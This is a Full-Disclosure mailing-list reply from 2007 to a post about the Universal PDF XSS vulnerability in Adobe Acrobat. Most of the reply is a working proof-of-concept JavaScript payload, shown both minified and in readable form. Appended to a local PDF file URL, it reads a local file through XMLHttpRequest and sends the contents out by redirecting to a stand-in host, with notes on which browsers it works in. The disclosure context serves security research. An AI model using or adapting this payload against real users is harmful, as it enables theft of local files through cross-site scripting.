<a href="file:///C:/Program">file:///C:/Program</a> Files/Adobe/Acrobat 6.0/Resource/ENUtxt.pdf#something=javascript:function cXHR(){try{return new ActiveXObject(&#39;Msxml2.XMLHTTP&#39;);}catch(e){}try{return new ActiveXObject(&#39;
Microsoft.XMLHTTP&#39;);}catch(e){}try{return new XMLHttpRequest();}catch(e){} return null;}var xhr = cXHR();xhr.onreadystatechange = function(){if (xhr.readyState == 4){alert(xhr.responseText);window.location = &quot;<a href="http://localhost:80/whatever.htm?content=">
http://localhost:80/whatever.htm?content=</a>&quot; + xhr.responseText;}};xhr.open(&#39;GET&#39;, &#39;<a href="file:///C:/Program">file:///C:/Program</a> Files/Adobe/Acrobat 6.0/ReadMe.htm&#39;, true);xhr.send(null); &lt;- sends a local file to a remote location.
<br><br>Readable:<br>function cXHR(){ //Grabs a legit XHR.<br>&nbsp;&nbsp;&nbsp; try{<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return new ActiveXObject(&#39;Msxml2.XMLHTTP&#39;);<br>&nbsp;&nbsp;&nbsp; }catch(e){}<br>&nbsp;&nbsp;&nbsp; try{<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return new ActiveXObject(&#39;Microsoft.XMLHTTP
&#39;);<br>&nbsp;&nbsp;&nbsp; }catch(e){}<br>&nbsp;&nbsp;&nbsp; try{<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return new XMLHttpRequest();<br>&nbsp;&nbsp;&nbsp; }catch(e){} <br>&nbsp;&nbsp;&nbsp; return null;<br>}<br>var xhr = cXHR(); //For grabbing<br>xhr.onreadystatechange = function(){<br>&nbsp;&nbsp;&nbsp; if (xhr.readyState
 == 4){<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; alert(xhr.responseText);<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; window.location = &quot;<a href="http://localhost:80/whatever.htm?content=">http://localhost:80/whatever.htm?content=</a>&quot; + xhr.responseText;<br>&nbsp;&nbsp;&nbsp; }<br>};<br>
xhr.open(&#39;GET&#39;, &#39;<a href="file:///C:/Program">file:///C:/Program</a> Files/Adobe/Acrobat 6.0/ReadMe.htm&#39;, true);<br>xhr.send(null);<br><br>Works in FFOX / Opera, not in IE.<br><br><div><span class="gmail_quote">
On 1/4/07, <b class="gmail_sendername">pdp (architect)</b> &lt;<a href="mailto:pdp.gnucitizen@googlemail.com">pdp.gnucitizen@googlemail.com</a>&gt; wrote:</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
Everybody knows about it. Everybody talks about it. We had a nice<br>party. It is time for estimating the damages. In this article I will<br>try to show the impact of the Universal PDF XSS vulnerability by<br>explaining how it can be used in real life situations.
<br><br><a href="http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/">http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/</a><br><br>--<br>pdp (architect) | petko d. petkov<br><a href="http://www.gnucitizen.org">
http://www.gnucitizen.org</a><br><br>_______________________________________________<br>Full-Disclosure - We believe in it.<br>Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html
</a><br>Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a><br></blockquote></div><br>